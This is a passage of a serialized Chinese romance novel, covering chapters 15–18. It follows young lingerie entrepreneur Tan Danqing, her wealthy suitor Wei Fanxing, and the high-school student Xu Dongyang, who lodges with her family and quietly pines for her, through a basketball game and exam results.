“谈小姐来了啊,心哪儿还在牌桌上。”周围人你一句我一句嬉笑着调侃。 魏繁星便带着她到旁边安静一点的棋桌前说话。 魏繁星给她倒了杯酒,说:“开完会,小吕就跟我打电话了,说你今天表现得不错。” “谢谢。”谈丹青觉得有些渴,喝了口酒,才发现酒水度数不低,灌喉咙时有些发麻。 “我在会上,听到吕总介绍我,说我是你女朋友。”谈丹青说。 魏繁星反问她:“介意?” 谈丹青抿了抿唇,没说什么。 “他们要不这么说,你的事成不了。”魏繁星点了根烟。寥寥青烟从他那只养尊处优的手缝隙间升起。 他拿懒散的眼睛觑着她,问:“多大?” “我么?” “嗯。” “二十四。”谈丹青说。 “再磨几年吧,”魏繁星笑笑,说:“太年轻了,这种事挺正常的。这叫借势。多的是人,跟我没关系也要绞尽脑汁地扯上关系。” “可能吧。”谈丹青扭头看向窗外,霓虹灯光倒影在琥珀色的眼睛里。 “是不是觉得这里太吵了?”魏繁星问。 “嗯,有点。” “那找个安静点的地方,”魏繁星说,“去我那儿?” 他看着她,暗示的表情昭然若揭。 “今天太晚了。”谈丹青轻声拒绝。 “好。”魏繁星不再坚持,说:“我送你回去吧。” “我开了车来。”谈丹青说。 “忘了?”魏繁星嘴角微扬,笑笑,说:“你喝酒了。” “哦……对。”谈丹青一怔。 “无妨,我送你。”魏繁星说,“车交给门童。” 上车后,魏繁星没有再提刚才不合时宜的气氛。车内安安静静的,只有车载广播温柔的女声在流淌。驶入小区,谈丹青说:“到了,就在这儿。” 魏繁星提前下了车,为她拉开车门。 “我上去了。”谈丹青说。 魏繁星目光忽然越过她肩头,"那是你弟弟?" 谈丹青回首,看见绪东阳拎着黑色垃圾袋,雕塑般立在门前。路灯将他的影子拉得很长。 【作者有话说】 魏前期就是纯浪子, 贝贝们千万不要抱太大希望…… 16 第16章 ◎“谈丹青,你他妈眼光好一点行不行?”◎ “啊,这是我弟弟的同学。”谈丹青介绍道。 魏繁星微敛眸,目光自上而下扫了过去。 少年人还是太稚嫩,没来得及学会如何伪装起自己的欲望,眼里赤裸裸的敌意,像把出鞘的刀。 他不动声色地将手搭在车门上,护着谈丹青下车。 “那这孩子怎么在你家?”语气带着三分随意。 “哦,他家有点事,借住在我这儿。”谈丹青解释,她转头对绪东阳说:“下次叫谈小白自己滚下来扔垃圾,总使唤你是几个意思?” 绪东阳好像没听见。昏暗的金色街灯给他的轮廓镀了一层冷釉,他不加遮掩地死死盯着魏繁星。他怎么可能不认得这张脸?他不知道在搜索引擎上输入魏繁星的名字多少遍。 谈丹青见绪东阳迟迟没上楼去,说:“不用等我了,你先上去,我待会回。” 少年唇角绷紧,然后突然“砰”地一声将垃圾袋砸进金属垃圾桶里。 金属桶身震颤的余韵在夜色中久久回荡。 这一声巨响仿佛让街边电线杆都跟着晃起来, 谈丹青被这一声惊得有些愕然。绪东阳虽然看起来不好惹,但除了第一次见面,平时他的行为举止都挺有规矩礼貌。 “他应该没看清垃圾桶在哪儿。”她有些蹩脚地同魏繁星解释。 “嗯,没事,小孩儿。”魏繁星温和地笑了笑。 “那我就先上去啦。”谈丹青说。 “嗯。” 谈丹青往前走,但走了几步,魏繁星却没回车里。她回头看,魏繁星正倚着车身看她。他对她笑笑,说:“我看着你上去。” “好。” 那道目光如有实质地烙在后背上,谈丹青听着自己的脚步,“哒哒”上了楼。 解指纹锁开门,客厅里只有玄关处壁灯亮着,绪东阳的房门紧闭,茶几上却放了一杯黄澄澄的蜂蜜水,杯口冒着热气,旁边放了一板铝箔药。 谈丹青有些意外,心道谈小白今晚怎么这么细心? 以前他只会咋咋呼呼地把解酒药连盒塞给她。 今晚谈丹青其实没喝几口酒,犯不着吃醒酒药。 醒酒药扔回药箱,谈丹青喝下温热的蜂蜜水,顿时感觉精神又振奋了许多。 小腿肌肉还在隐隐抽痛,八厘米的高跟鞋果然不是白穿的。她蜷在沙发里揉捏脚踝,手机屏幕突然亮起,魏繁星的名字跳了出来。 繁星:【今晚的事,不必多想。】 谈丹青盯着手机屏幕,迟迟没有回复。 她并不讨厌魏繁星。魏繁星成熟稳重,多金英俊,身上有一种独特的魅力。但每次站在他身边,她总觉得自己好像在和他跳探戈,进进退退,虚虚实实,原地转了一圈又一圈。看起来裙摆纷飞,可始终是他始终掌控了所有节拍。 她的名字就好像被用小刀一点点磨去了。她不再叫“谈丹青”,她叫“魏繁星的女人”。她的作品也不叫“丹心”,而是“魏总推荐来的”。她本来也是发光体,但因为太靠近魏繁星,于是她身上的光芒便被吞噬。 Tdq;【多虑了,我分得清商务往来和私交】 繁星:【笑脸。】 繁星:【还有,别忘了欠我顿饭。】 Tdq:【不会忘。】 关闭对话框,谈丹青洗漱护肤,顶着熊猫面膜临睡前点开公司的账号。 新款海报发出去后,热度一直很不错。但因为没有幕后推手稳定推流,在最高峰流量过后,账号还是进入了静默期。即便如此,因为新增的粉丝数目也非常可观。 新款内衣评论区热评不断: “啊啊啊啊!这款真的是我穿过最好穿的内衣!!!!没有之一!!!” “穿上真的超级超级超级好看!很显胸型!重点是!没有副乳!!!没有副乳!!!没有副乳!!!重要的事说三遍!” “姐妹,这款内衣的肩带如果在碎花裙子吊带外露出来一点,真的非常非常美腻!” 楼内回复:“姐妹你好美……” 楼内回复:“姐妹你好美……”*20 “爆言,内衣就应该女生设计!死gay子设计个毛蛋。” “附议……” “附议……” “附议10086!” “我要带着【内衣配图】走遍所有评论区……” 评论区还在不断刷新,谈丹青鲤鱼打挺地从沙发上跳了起来。她到底垂头丧气干嘛呢?这太不像她了!她是谁啊?她是谈丹青!她就这么厉害,这么美丽,这么优秀!她的名字,和谁放在一起都是最亮的。就算在星星旁边,她也是太阳。 另一边,谈小白正在跟他的作业奋力缠斗,“不是,我说哥们,你到底在看啥?” 绪东阳自从下楼扔垃圾回来后,就像老树生了根,立在窗户前往下看。他作业没写的时候他站那儿,这会儿他数学都写完了,他还站那儿。 谈小白好奇地凑到窗户旁,顺着他的视线也往外看——楼下什么都没有,就见路灯树荫里,停了一辆黑色泛银光迈巴赫。 他家这片算得上高档小区,迈巴赫很常见,但饶是如此,谈小白也不禁感慨了一句:“嚯,这辆车太高级了吧!” “MaybachLandaulet限量版,6.0TV12双涡轮。”绪东阳说。 “我靠,”谈小白惊讶*道,“你这都知道!” 绪东阳没说话。 他爸前几年也买了一辆,扔车库了,但配置魏繁星没有这个高。 “太壕了吧……”男生都喜欢车,谈小白也目不转睛地看了起来。 绪东阳的声音很冷很顿,问他:“你想要一个很有钱的姐夫?” “哈?”谈小白无法理解地瞪着绪东阳,说:“你这话说的……这不废话呢?我不想我姐嫁个有钱人,我想她嫁吃软饭穷逼啊?” 绪东阳的表情更难看了。 “没这么多钱,但也可能心很真。”绪东阳说。 “呵,”谈小白不屑地说:“我姐之前那个,就是个没钱的呢,结果……算了,”一说到那人谈小白就一肚子火,提都不想提,“总之,男的没几个好东西,既然都不是东西,那就挑一个有钱的不是东西呗。” 话说到一半,谈小白这才注意到绪东阳的表情,他也整不明白绪东阳今晚到底在这儿阴郁个啥,他打了个哈欠,伸着懒腰说:“哎,搞不懂了,反正我回去睡了。” “滚回来。”绪东阳冷酷地说,“数学卷子最后一题。” “我的妈呀……”谈小白哀嚎一声,整个人像泄了气的皮球一样瘫在椅子上。他欲哭无泪地瞪着桌上那沓试卷,肠子都悔青了——当初要不是他多嘴提议让绪东阳暂住,现在至于天天被按着头写作业吗? 绪东阳继续看着窗外,那辆迈巴赫突然亮起双闪,远光灯刺破树影,缓缓驶远。 他看着车灯,嘴唇蠕动,无声地说:“谈丹青,你他妈眼光好一点行不行?” * 秋意渐深,窗外的梧桐叶已褪尽最后一丝金黄,谈丹青站在落地窗前,呵出的白雾在玻璃上晕开一小片朦胧。魏繁星从她家楼下开车离开后,就没有再主动联系过她。但他的确如同她承诺的,在商言商,她顺利和mcn公司签订了一份五年制合约。吕力鼎承诺会给她的品牌一定的扶持和帮助。 这几天谈丹青着手请人做品牌设计logo,看了很多个,但一直不怎么满意。她把设计师折磨疯了,把郑芳折磨疯了,也把自己折磨疯了。 “少点东西,少点东西,少点东西。”谈丹青说。 “少点啥?”郑芳说:“五彩斑斓的黑?” 谈丹青:“……” 郑芳:“不气你啦,你慢慢想吧。我反正要去约会了。” 谈丹青:“羡慕。” “谁叫你不谈?略略略!”郑芳说:“不是没灵感么?出去转一圈,谈个小男朋友灵感就来咯。” 谈丹青刚挂断电话,谈小白就殷勤地递上了香喷喷的手抓饼,“吃饼。” “有事说事,没事滚蛋。”谈丹青说。 “那个,姐……都说好几天了,你今天下午能来看我打球不?”谈小白说:“我篮球队的。” 谈丹青意外,“你?篮球队?” 谈小白:“……姐,你能不这么看不起人吗?” “你打什么位置?”谈小白问。 “替补。” 谈丹青:“……” 谈小白:“别小瞧替补啊!还是绪东阳帮我走后门,好不容易当上的。” 谈丹青竖起大拇指,说:“光荣。” “说不定就摸到球了呢。”谈小白也不害臊,兴致勃勃地说:“我上不了场还能看绪东阳,绪东阳是主力。” 绪东阳是篮球队主力,谈丹青倒是一点不意外。就他长的这幅样子,合该是校园里的风云人物,学习体育样样行,将小女生迷得忘不掉。只可怜了她弟,要跟绪东阳抢女朋友,这怎么可能抢得到? 她生意也忙,抽半天去看小孩打球实属奢侈,所以她也不能轻易许诺谈小白什么。 “下午几点?” “中午吃完饭过来就行。” 谈丹青掏出手机看备忘录,说:“知道了。” 这天谈丹青到了下午,所有事全部奇迹似的解决了。她坐在车里,降下玻璃窗,一边听吹风,一边听车载广播,一项一项将代办事项清了一遍。直到看见这【篮球比赛】条备忘录,她才想起来了她那便宜弟弟。 刚好她车停的位置离谈小白学校也不远。于是谈丹青踩了脚油门,打转方向盘过去。 停车场已经停了不少车,看来也有家长到学校来。操场上已经有人在打球,叫喊声和拍球声不绝于耳。谈丹青慢慢踱了过去,没看见谈小白的身影。 谈丹青心想这小子不会真连球都摸不上呢。 她翻出手机要给谈小白打电话。 “谈丹青。”身后传来熟悉的声音。 谈丹青回过头,就见绪东阳站在她身后。他穿着红色运动服,单手拿着一只篮球,右手手腕上带了一只黑色护腕。他身上有热气,但却还没有到满身大汗的地步,看起来干净清爽,散发着阳光和清新的气息。 这一瞬间,谈丹青觉得自己仿佛被阳光晃了一下眼。不是因他健康挺拔的外形,而是他形象之外的,那股唯独这个年纪少年人才有的精神气。 “小白呢?”她往后退了一步,刻意与绪东阳拉开距离。 “他还在睡午觉,没出来。”绪东阳领着谈丹青往球场走,“比赛下午两点开始,现在在热身。” “哦。”谈丹青随口问了一句:“你打什么位置。” “前锋。”绪东阳回答。 他手上缠着白色绷带,指尖顶着球,打出一个漂亮的圈,跟谈丹青解释了篮球队里“前锋”是干什么的。 “你会打吗。”谈丹青听见绪东阳突然问她: “会啊。”谈丹青的胜负欲立刻挑了起来, 绪东阳没说话,只是目光下移,最后落在她脚上一双黑色细跟缎面高跟鞋上。 今天下午她本来要去见一位合作伙伴,所以穿了一身职业套装。上身白色丝绸花领衬衫,下身黑色及膝荷叶边包臀裙,浅灰色玻璃丝袜让两条腿显得细而直。这身打扮,的确不适合打球。 但谈丹青非就不愿叫人看瘪了,说:“球给我。” 绪东阳自然没有动。 谈丹青便一拍,将球抢了过来。 她四肢纤长,很有运动天赋,以前在学校成绩不咋滴但也打过球,她拍了几下找了找手感。 操场少见女生打球,更少见穿裙子的女生打球,尤其是这么漂亮的。 一瞬间好几名少年过来围观。 谈丹青抱着玩一玩的心态,原地投了个三分,没想到真进了,还是个标准“三不沾”——不沾篮筐,不沾篮网,不沾栏板。 “好球!” “漂亮!!” “再来一个再来一个!”几声夹带口哨声的喝彩爆发出来。 谈丹青不仅也飘飘然起来,她还想再玩一个花样,结果脚上那双高跟鞋到底太细了点,右脚突然陷进场地缝隙,身形一晃,世界瞬间倾斜—— “小心。”绪东阳立刻将球挡开,另一只手扣上她的手腕。惯性让谈丹青整个人撞进他怀里,薄荷味的汗水气息扑面而来。 篮球在地上转了两圈,滚老远。 他给她一条手肘挡支撑,让她将身体大部分重量靠过来。谈丹青借着绪东阳的力,站直,原地扭了扭脚踝。只是虚惊一场,万幸没有真崴脚,只是拧了一下 绪东阳皱着眉,垂眸看她的鞋,冷冰冰地说:“你穿的这是什么鞋?怎么跟这么高?” 谈丹青觉得绪东阳其实原话是想说——你穿的是什么破鞋。但因为礼貌和教养问题,才当着她的面硬生生将“破”字吞了回去,所以声音里还留了点余音。 她气得直翻白眼,小声嘀咕了一句:“知道什么是华伦天奴吗?小土狗。” “能走吗?”绪东阳皱眉问。 谈丹青还想逞强,但脚踝处却是锥心的阵痛。 “我背你到站台。”绪东阳说。 【作者有话说】 ||ヽ(* ̄▽ ̄*)ノミ|Ю 这章给贝贝们发红包! 17 第17章 ◎追逐◎ 包臀裙根本没法背——裙摆太窄,双腿稍一分开就会绷紧布料,而且姿态会极其难看。 绪东阳很快就意识到这个问题,手臂一沉,改从她膝弯下抄过,将她整个人打横抱了起来,大步流星往站台走去。 脚上最疼的那一下其实很快就过去了,残留的是麻。 谈丹青蜷缩在绪东阳的怀里。他的胸膛坚硬宽阔,运动服散发出被阳光晒过的气味。 他走得飞快,但步履很稳,以至于让她生出一种稀奇的安稳感,仿佛可以完全信赖地将自己的重量托付给另一个人。 这种感觉既危险,又令人隐蔽地享受。 她其实很少有被背着抱着的记忆。 大部分时候,是她背着谈小白到处跑。 那小子小时候沉得像铁棒槌,有一次她实在背不动,又怕把谈小白摔成白痴,只好让自己双膝先着地,摔得惨兮兮。 或许她小时候谈国庆其实也这么背过她,只是这段记忆太久远了,所以她完全不记得,于是现在这种晃动感,唤醒了她可怜的童年回忆。不过,这种事谁知道呢? 她分了神,在绪东阳怀中难得安静。 绪东阳一心焦急谈丹青腿上的伤。 方才谈丹青崴的那一下突然,他没看清,不知道到底有多严重。 步伐越迈越快,很快就将其他人远远甩在身后。 怀里的重量轻得让他心惊,像捧了一团随时会散的云。 温热的鼻息一下又一下轻拂在他后颈与衣领交界的那一小块皮肤上。初冬天气寒冷,每吐出一口气,都会在唇间凝成一团白雾,于是那一圈被她气息熨过的皮肤,尤为灼热。 站台近在咫尺,就在即将要跨到站台前的那一刻,他的双腿却突然好像灌入了铅,一点点往下沉。像是身体开始和意志对抗,硬生生将他拖住。 他不想将她放下来。 “坐这儿。”绪东阳将谈丹青轻轻放在站台边缘。 谈丹青并拢双腿坐下,裙摆微微上缩,露出一截白皙的小腿。 绪东阳她身前半蹲下,俯身伸手就要去碰她的腿。谈丹青看着绪东阳那只缚着一圈白色绷带的粗糙的手径直伸来,不知道为何,心头突然一紧,下意识想将伤着的脚缩到另一只脚的后面,两腿斜斜并拢。 “没事了,已经不痛了。刚刚……刚刚就吓着了。” 绪东阳却不由分说地扣住了她的脚踝,将她躲躲藏藏的脚拖了出来,谈丹青后背顿时僵住。 拇指按上她的踝骨,一股酸胀感顿时顺着脚背蜿蜒而上,顺着她的脚背,一路往上爬。 这种感觉如同细小的电流爬过每寸皮肤,并不特别痛楚,但难以忽略。 就在她快要忍不住想踢开他时,绪东阳终于放开手,声音低低沉沉地,“嗯,没伤着。” 谈丹青别过脸去,喉咙干得冒烟,“我都跟你说了啊” 操场上聚集的学生越来越多,很多人在奔跑打闹。 她望着着那些跳动的身影,抬手在耳边扇了扇风,问:“有水吗?有点渴。” 绪东阳打比赛时,总有很多女生过来送水,农夫山泉、可乐、雪碧、脉动、营养快线……琳琅满目跟开小卖部似的。 但这些水绪东阳从来不碰,他只喝自己那个磨得发亮的黑色运动水杯里的水。 但谈丹青肯定不能用他用过的杯子,小卖部离这又有几百米…… 他拿了一瓶篮球队准备的矿泉水给谈丹青。 谈丹青拧瓶盖,轻轻一拧就开了,她特意问:“这是你喝过的吗?” “没。”绪东阳说,“刚拧开的。” “那就好。”谈丹青低下头,喝了一口。冰凉的水濡湿了微微发干的嘴唇。 挪开水杯,绪东阳的背包露出一本摊开的软皮抄。谈丹青余光一扫,瞥见纸页上的一道线条——干净利落的一笔,勾勒出一个女人优雅的侧脸轮廓。 “等等……”还真是灯下黑。她总觉得他们的logo少了点什么,但又说不上来,现在终于破了案。原设计太冷硬了,少了柔美的神韵,而眼前这条弧线,恰好补上了灵动的女性特质。 “这是你画的?”她惊异地问。 绪东阳几乎是条件反射地合上了本子。 “嗯。”含糊应了过去。 “我能拍一下么?”谈丹青指了指那道线条 “拍?”绪东阳拧眉,没立刻领会她的意思。 谈丹青说:“我想把你画的这个侧脸的图案,加到我们的logo上,行么?” 绪东阳眉头微蹙,沉默两秒,才稍稍松懈紧攥着笔记本的手掌,递给了谈丹青。 谈丹青心满意足地拍照,一连拍了好几张,好几个角度。 绪东阳目光落在她回看照片的侧颜上,她脸颊被金色的阳光照出细细的绒毛,红艳的嘴唇往上轻巧地勾着。 也真够无可救药的,都设置成朋友圈背景图了,结果却连这张侧脸是谁,都认不出来。 了却心头最大的石头,谈丹青整个人都阳光明媚,眯起眼睛晒太阳。 她故意睨了绪东阳一眼,揶揄道:“我就说呢,还说没喜欢的人,都偷偷画人家小姑娘了。” 绪东阳“啪”地合上笔记本,一把塞回包里,对她再多一个字都欠奉。 “姐!你真来了?”这时谈小白跑了过来。 “你不是今天比赛吗?”谈丹青笑了起来,眉眼如画,“我能不来啊?” “嘁。你肯定今天没事。”谈小白嘴上这么说,但心里却已经美得冒泡,不停地跟周围同学炫耀说:“对,对啊,这是我姐。” “对,亲姐。” “DNA?那倒是没测过……” 有同学开玩笑,“亲生的你怎么跟你姐长得不像,你姐这么漂亮,你……emm……” “滚你妈的,亲生的,亲生的!”谈小白满场上蹿下跳,“老子也是校草好不好!” …… “绪东阳,谈小白,你们还在这儿啊!比赛快开始了,裁判叫你过去。”有队友跑了过来催促归队。 “好。”绪东阳应了一声,转头看向谈丹青。 谈丹青说:“还不快去!” “嗯。”绪东阳点点头,领着谈小白一起过去。 刘彤看着绪东阳不仅不喝自己给他拿的水,反而给谈丹青拿水,心里不是滋味,便故意摆出人畜无害的笑脸,和她的小姐妹们一起跑来问谈丹青,“你好,请问你是谈小白的妈妈吗?” 其他人瞬间安静了几秒。 谈丹青听到刘彤这么说,也没恼,依旧笑盈盈地,说:“不是,你弄错啦,我是小白的姐姐。” “哦。”谈丹青甚至都没有意识到刘彤在耍心机,以为这女孩儿就是眼力劲差了一点。 刘彤脸上的笑容僵了僵。 谈丹青反应越平淡,她耍心机越没有成就感。她快步走到谈小白身边,声音带着刻意的哽咽:“小白,对不起啊,我好像把你姐姐弄生气了。哎,我真不好。我以为她是你妈妈……” “哈?”镇守饮水机的谈小白一口水差点喷了出来,错愕地说:“啊?不是,我姐看起来比你还年轻啊。” 站台上同学越来越多,少年平日里看到的都是素面朝天身穿校服的同龄人,头一次见到谈丹青这样像电影明星一样的明艳夺目的大姐姐,被吸引得目不转睛。还有胆大一点的,甚至蠢蠢欲动想找谈丹青要微信。 女生投来的目光,则羡慕又向往:“那就是谈小白的姐姐吧?她好漂亮啊……” 包包好漂亮,裙子好漂亮,高跟鞋好漂亮,指甲好漂亮,就连飘扬在空中的乌黑的头发丝,每一根都精致又漂亮。她们在青春期望向未来那一头的自己,大概就是这样的形象。 “你是……绪东阳的姐姐吗?”几名女同学你推我搡的来到了谈丹青面前。 “不是。”谈丹青回答:“我是谈小白的姐姐。” “哦哦,那你认识绪东阳吧?”几名女同学试探着说:“可以给我们绪东阳的微信号么?” “这个我做不了决定,”谈丹青说:“但我帮你们转交。” “好!谢谢了!”女孩儿们笑盈盈地飞走。 谈丹青垂眸看着手中的饮料,小卡片,情书。小女孩儿怎么都这么可爱啊。谈小白要是妹妹就好了。 身侧玻璃窗上,倒影出了她的影子。她清楚地看到了自己。许多人都会闭着眼睛催眠自己,认为岁月并没有在脸上留下痕迹。认为自己会在猜年纪的环节胜出,永远只有十八岁。其实不会,只要重新回到校园,就会清晰地感受到那青春的冲击力。皮肤,眼睛……尤其是眼中的神,那单纯的青涩的东西,是永远回不去的。 不过,谈丹青并不觉得多难过。 她相反更喜欢现在的自己,不再战战兢兢,不再唯唯诺诺,大方悠然而又自洽。 这时哨音一响,全场欢呼雀跃,比赛正式开始。 篮球从裁判手中一击脱,立刻传入绪东阳手中。 他压低重心,左手运球,右臂横挡,防守队员紧贴上来,假动作晃开空当,起跳,出手…… 篮球划出平直的轨迹,穿过篮网时带起一阵白浪,记分牌翻动,场边再次爆出震天的喝彩。 谈丹青也被热烈的气氛感染,当绪东阳进第二个球时,也起身大声欢呼起来:“加油加油!!” 上半场比赛结束比分30比5,巨大的分差让队友们姿态很放松,三三两两站在场边倚着广告牌说笑,还有人对着看台比划夸张的庆祝手势。 绪东阳回站台喝水。他额上有汗,乌黑的头发掩着眼睛,衬得那双眼睛愈发漆黑澄澈。 “你刚刚看到了?”他单手弹开黑色运动水壶水盖,昂头喝水。喉结上的汗珠顺着吞咽的动作往下滚落,在领口砸出深浅不一的圆点。 “看到了。”谈丹青笑了起来,用戏谑地语调说:“小绪队长挺厉害的啊。” “下一场还能再进两个吧。”绪东阳说。他想表现得云淡风轻,但少年人的肆意早就写进了眉宇里。 谈丹青听罢莞尔,说:“那我可要好好看了。” 教练吹哨了,“绪东阳,过来。” “过去吧。”谈丹青说。 “嗯。” 绪东阳转身向队友跑去,鲜艳的球衣鼓满了风,在人群中划出一道醒目的轨迹。他个子太高,总是无法融进人群里,只要投去一瞥,第一眼看到的总是他。 风掠过看台,捎来塑胶场地上蒸腾的热气,谈丹青嘴角再次扬了上去。 下半场比赛很快开始。 又是一阵欢呼,绪东阳果然再次进球。 这次,他回过头,漆黑的眼睛在观众席上找寻着什么。 谈丹青笑,起身正欲朝他招手。 这时手机响起,是她设置的工作铃音。她不得不从这场爱丽丝仙境中抽身回来,走下站台接通电话,“喂。” “在哪儿?”魏繁星温润低沉的声音传来,背景音里隐约能听见小提琴协奏曲的旋律,更衬得他这句话像是从另一个世界飘来,“你那边怎么这么吵?” “我在看我弟弟打比赛,怎么了?”谈丹青说。 “很有闲情雅致。”魏繁星说。 “今天刚巧不忙。” “既然不忙,记得么?还欠我一顿饭。”魏繁星含着笑说。 “怎么会忘。” “今晚我这边刚好有个局,有几个老板做快销服装,你们刚好可以聊一下。我来接你?” 谈丹青轻轻吸了口气,“好。” 比赛结束的哨音响起,65比32,碾压式胜利。 欢呼声里,队友击掌庆祝。 绪东阳走下赛场,鹰隼似的眼睛在观众席上搜寻着,终于锁定了那道纤细窈窕的身影。 但那人却在往外走,转眼就上了一辆黑色轿车。 他也不知道自己到底在做什么,从车棚提起单车就走。 为什么要追?怎么可能追得上?追上了又怎么样?他什么都不知道,他只觉得全身的力气,和胸腔里翻涌着一股无处宣泄的冲动,在这一刻必须找到一个出口。 昂贵的高档轿车优雅地穿行在车流中,像一尾游弋的黑鱼,很快就驶入了拥挤的主干道。 单车轮胎碾过积水,挡泥板溅出一串泥点。横在他前方的那对猩红的尾灯,就像一双冷眼嘲笑他的眼睛。 车上,谈丹青正专心致志地垂头编辑着微信短信。 她将那些女孩儿的联系方式还有小礼物全都拍给绪东阳,然后认真打着字:【对女生要有礼貌,即便不喜欢人家也要把话讲清楚。】 【还有,平时不要总这么独,和同学相处活泼一点。知道十二生肖为什么,狗进去了,狼没进吗?就是因为太独了!】 …… 谈丹青还在低头敲字,魏繁星的目光却无意间瞥见后视镜里那个奋力追赶的身影。 少年的身影在钢铁洪流里时隐时现,他竟然追得这么快,这么莽,有好几次俯身疾冲,加速,竟真要被他追上。 白皙修长的手指轻叩真皮座椅,魏繁星发出一声冷淡的嘲笑。 追车?什么年代了?太老土。 “开快点。”他忽地温声提醒司机。 “是。” 谈丹青从手机抬头,问:“很赶时间?” “不急。”魏繁星目光掠过倒车镜里那个倔强的黑点,“只是我习惯将所有人都甩远一点。” 18 第18章 ◎月考◎ 这年江城冬月始终没有下雨,呼吸时鼻腔隐隐作痛,空气干燥得能听见静电噼里啪啦响。可绪东阳却觉得自己似乎一直就在雨里。 徐丽又发了新的朋友圈:悉尼湛蓝的天空下,绪北远在博物馆音乐喷泉表演前踮起脚。 只要她愿意多嘴问一句家政阿姨——他怎么样了,就会知道他已经很久没回过家。 但徐丽到现在都不知道。 俱乐部那边,去得更勤了。想发泄,也想赚钱。每次回来,多少都带了点新伤。 这种低沉的情绪,断断续续影响到月考结束。 月考排名一放榜,谈小白泥鳅似的挤进人群。他还是像往常那样从尾巴往前找,结果数得眼前都泛重影了,也没找到自己的名字。 就在准备放弃时—— “谈小白,”他几乎是大声吼出来,“我艹,250!” “谈小白,我不许你这么说自己。”后排的李远憋着笑接话。 但当发现谈小白是真的飞升年级250后,李远笑不出来了。他挤到公告栏前,几乎要把纸面盯出个洞来:“我去,真250!” 谈小白喜欢嘚瑟,这个牛不吹,如锦衣夜行。 他故意拖着脚步回到教室,逢人就苦着一张脸,长吁短叹:“哎,哎,这次没考好,没考好。赵峰,你考多少?” 赵峰:“我也没考好。” “多少名?” “450,你呢?” “哎。”谈小白用成绩单擦眼泪。 赵峰一眼晃过去,看清谈小白成绩单上的排名,拍案而起:“艹,你都前300了,还搁这儿装呢?” 谈小白笑得前俯后仰,差点从椅子上跌下去。 “说好了,好兄弟,一起走,谁先飞升谁是狗。”赵峰说。 谈小白:“汪汪汪!” 谈小白这一波仇恨值拉满丝滑小连招,万不敢在绪东阳跟前演,绪东阳年级13。 他在学校遇到他都贴着墙角走,生怕被抓回去做题。 眼看着绪东阳回来了,谈小白把成绩单往背后一藏,脚底抹油就要开溜,却被绪东阳长腿一伸拦住了去路。 那张薄纸被抽走时,谈小白仿佛已经听见了"就这?"的嘲讽。 没想到绪东阳看完,仔细折好还给他,说:“进步挺大。” 谈小白其实很聪明,只是从小成长的环境给不了他应有的学习氛围,所以他做题没方式方法,总心浮气躁。于是陷入——越做题,错越多,越不愿意继续做——恶性循环里。他不过只是将谈小白从这个怪圈里拎了出来。 但他对自己的成绩,并不大满意。 排名名次看起来虽然还不错,但他知道自己退步了。 排名越往上走竞争越激烈。高手过招,大家装分都差不多,看的就是微操,最后结果失之毫厘差之千里。 谈小白没察觉绪东阳的情绪不好,咋舌地瞻仰完他的成绩单后,感慨道:“你考这么好,我姐肯定会高兴死。” “我考得好,她会高兴?”绪东阳的声音突然轻了几分,指尖无意识地攥着成绩单边缘。 “当然了啊,”谈小白认真地说:“我姐怎么对你,你还感觉不出来?她真心把你当弟弟的。” 绪东阳心往下坠了坠。 两人一前一后骑自行车回到家,谈丹青也在家,谈小白一进门就向谈丹青邀功。 “姐,猜猜我这次月考多少名。”谈小白洋洋得意,眉毛都快飞出发际线了,活像只等着领赏的哈士奇。 谈丹青正在跟设计师对接logo的细节设计,听罢,柔声说:“你等我一下。”然后去厨房提起扫帚就出来了——“还要我猜?老老实实报给我,然后过来领打。” 谈小白“嗷”地一声窜到绪东阳身后,死死拽住他校服下摆,只露出半个脑袋:“绪东阳救我!我姐家暴!” “姐,你太伤我心了!我这次真考好了!” “我信你个鬼!” “请苍天!辨忠良!” 谈丹青举着扫帚逼近,绪东阳顿时成了人形盾牌。他想侧身避开,却被谈小白揪着衣服左挡右挡。三人像在跳诡异的探戈,直到谈丹青的拖鞋不小心踩在他的球鞋上。 “绪东阳,你到边上去,”谈丹青终于停下,扫帚杆“咚”地拄在地上,一缕碎发粘在唇角,说:“你边上去,不然打到你,可不要怪我。” “绪东阳,你不要让!” 就在争执不休时,绪东阳开口说:“谈小白这次考了年级前300。” “嗯?”谈丹青压根不相信自己耳朵。她眨了眨眼,突然左脚绊右脚地往前踉跄了一步。绪东阳下意识伸手去扶,正好接住她歪倒的身子。 谈小白? 前300? “对!”谈小白终于从绪东阳身后闪了出来,“现在你信了吧!你弟弟我咸鱼翻身!学渣逆袭!!!” "多、多少?"谈丹青抓着绪东阳的小臂站稳,声音都变了调。“前300?真的假的。” “真!比金子还真!”谈小白将成绩单交到谈丹青手里。 谈丹青尖声:“250?!” 谈小白捂耳朵,无奈道:“姐,你能别骂人吗?” “你小子,”谈丹青揪谈小白的耳朵,“我就说,我谈丹青怎么可能有个傻子弟弟。” 谈小白傻乐。 谈丹青看谈小白的成绩单。这么多年了,哪一年她不是被老师啐?瞧瞧,瞧瞧,今年可是个双黄蛋,可算扬眉吐气了。她就说嘛,她谈丹青的弟弟们,能差到哪里去? 绪东阳默默退后半步,垂在身侧的手指微微蜷起,看着这对姐弟闹作一团。 谈丹青眼眸流转,忽然朝一直沉默不语的绪东阳睨去,纤长白皙的手指轻轻叩了叩他垂眸盯着的台面,“绪东阳,你呢?” 绪东阳缓缓抬起了头,“什么?” “就你,”谈丹青好笑道:“你这次考得怎么样?” “绪东阳的实力你还怀疑?年级前十啊!”他卧倒在沙发上打滚,感慨:“哎,明明每天都是吃一口锅煮出来的饭,怎么差别这么大了?” “别妄自菲薄,”谈丹青说:“你这次进步很大,不错。” 她低头仔细看绪东阳的成绩单。 绪东阳每一门都很好。 数学和理科是他强项中的强项。 谈丹青看久了4打头的成绩,乍一看6打头的,还有些没概念。 “绪东阳,你这个成绩,W大H大能不能上?”她问。 “当然能啊。”谈小白接话:“随便挑的。” “那更好的呢?北京的,上海的。”谈丹青说。 “我就想留在W市。”绪东阳看着她说。 谈丹青却发出一声轻笑,说:“这是你现在说的话,等清华北大的录取通知书真来了,就要飞走了。” 今天双喜临门,谈丹青取出钱夹,挥手将谈小白叫过来,说:“今天晚上不做饭了,要好好庆祝一下,你去点外卖,看是吃火锅还是吃牛排。” 谈小白说:“就吃火锅吧,在家吃,也不用叫外卖,我下楼买菜上来。” “行,”谈丹青给了谈小白一张附属卡,说:“把绪东阳带着,多买点牛肉卷和羊肉卷。” “诶,到底谁是你亲弟啊……”谈小白埋怨。 谈丹青故意说:“谁成绩好谁是我亲弟,还不快去。” “嗻。”谈小白一步三跳,和绪东阳一起出门。 